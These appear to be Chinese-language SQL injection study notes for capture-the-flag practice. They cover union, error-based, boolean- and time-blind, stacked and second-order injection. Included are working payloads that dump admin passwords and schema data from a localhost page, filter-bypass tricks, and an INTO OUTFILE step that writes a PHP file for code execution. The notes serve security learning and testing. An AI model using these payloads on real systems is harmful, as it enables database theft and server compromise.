sql注入的类型
类型一:数字型注入和union 注入
http://127.0.0.1/page_detail.php?id=1 union select 1,(select password from user where username='admin'),3 limit 1,2
类型二:字符型注入
前面闭合 后面注释 来逃逸出单引号或者双引号
http://127.0.0.1/page_detail.php?id=1' union select 1,(select password from user where username='admin'),3 limit 1,2%23
查所有表
http://127.0.0.1/page_detail.php?id=1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 limit 1,2%23
查所有列
http://127.0.0.1/page_detail.php?id=1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),3 limit 1,2%23
查敏感数据
http://127.0.0.1/page_detail.php?id=1' union select 1,(select group_concat(username,'-',password) from user),3 limit 1,2%23
注释两种形式 # --空格
类型三:布尔盲注
boolean 盲注
条件:
没有明显的回显点
只有得到两个结果,如果执行正常,页面不报错,执行不正常,页面报错
我们执行了我们自定义的sql语句,如果语句是正确的,或者说,语句内我们的猜测是正确的,就返回正常或者特定页面,否则返回错误页面或者其他特定页面
1 当我们猜对(sql执行正常)情况下,页面没有报错
2 当我们猜错(sql执行不下去)情况下,页面报错
基于上面的原理,我们可以发送大量的请求,来猜测我们需要的数据
类型四:报错注入
条件:
1 没有明显的回显点
2 有mysql执行sql语句的报错信息
a. 利用updatexml函数来强制报错,带出我们的查询结果
username=admin' or updatexml(1,concat('^',(select group_concat(column_name) from information_schema.columns where table_name='user' and table_schema=database()),'^'),1)%23&password=123123
b. extractvalue 和updatexml 功能一样,也是通过报错带出查询数据用
c. 整数溢出报错 exp pow cot
d. 不存在函数报错 select ctfshow();
类型五:堆叠注入
我们控制的语句,可以执行多条sql
注意点:
需要后台代码支持多条语句执行,而这个支持,需要不同于上面的代码写法
强网杯 随便注
通过分号分隔多条sql语句,实现了修改表结构,甚至删除表数据等等结果
如果可以堆叠,大家应该首先考虑 存储过程 set @a=b;
存储过程 类似与 shell的函数 可以自定义函数
类型六:时间盲注
条件:
没有明显的回显点
页面也没有明显的变化,即使sql语句执行不成功
总结:
可以执行sql注入,但是不知道执行结果,也不知道执行了没,甚至不知道报错了没
原理:
猜测某个条件,如果成立,就sleep 几秒
select id,username,password from user where username = 'admin' and if((select substr(username,1,1) from user where id = 1)='a',sleep(3),1);
a sleep进行延迟
b benchmark(count,exp)
如果执行一个比较耗时的表达式,非常多的次数,加起来,就有可能造成延时的效果
c 笛卡尔积延迟法
select count(*) from user A,user B;
SELECT count (*) FROM information_schema.columns A,information_schema.columns B,information_schema.tables C;
select count(*) from information_schema.tables,information_schema.columns b,user as c,user as d,user as e,user as f;
if(2>1,延迟语句,1)
d get_lock函数延迟法
select get_lock('a',3);
条件:针对数据库连接的长连接有效
php 一般 解释执行完毕后,就会关闭数据库连接,下次请求的时候再次连接数据库
java 维护一个数据库连接池,长时间连接,需要处理请求时,拿出来进行sql查询,查询完后,放回数据库连接池
e rlike
通过大量的正则匹配来实现延迟
类型七:二次注入
条件:
1 无法直接注入,但是可以把要注入的数据插入数据库中
2 其他地方引用数据库中的数据,拼接sql语句时,默认不再进行过滤,直接拼接,造成曲线控制了sql语句
1 整数型注入/union联合注入
2 字符型注入
3 布尔盲注
4 报错注入
5 堆叠注入
6 时间盲注
7 二次注入
不同注入点的应对技巧
sql语句分为CURD操作
select 注入
1 当我们控制点在where 之后,则尝试 闭合参数引号,有回显就联合注入,有报错,就报错注入等等
2 select title,content from page;
select (select password from user where username='admin') ,content from page;
3 注入点在 group by 或者order by之后
select title,content from page order by title;
select title,content from page order by title,if(2>1,sleep(3),1);
4 注入点在limit 之后 5.6版本之前 8以后废弃
select title,content from page limit 1;
select title,content from page limit 1 procedure analyse(updatexml(1,concat("^",(select user()),"^"),1));
包括一些小技巧
1 字符串可以转为16进制来用
select 0x63746673686f77
2 相同或者类似功能的函数相互替换
substr sustring
类似cat 用tac替代绕过检测
3 mysql 还可以使用into outfile '/var/www/html/1.php' 的形式,从数据读取,转为数据写入,从而实现代码执行
如果mysql对那个目录有写权限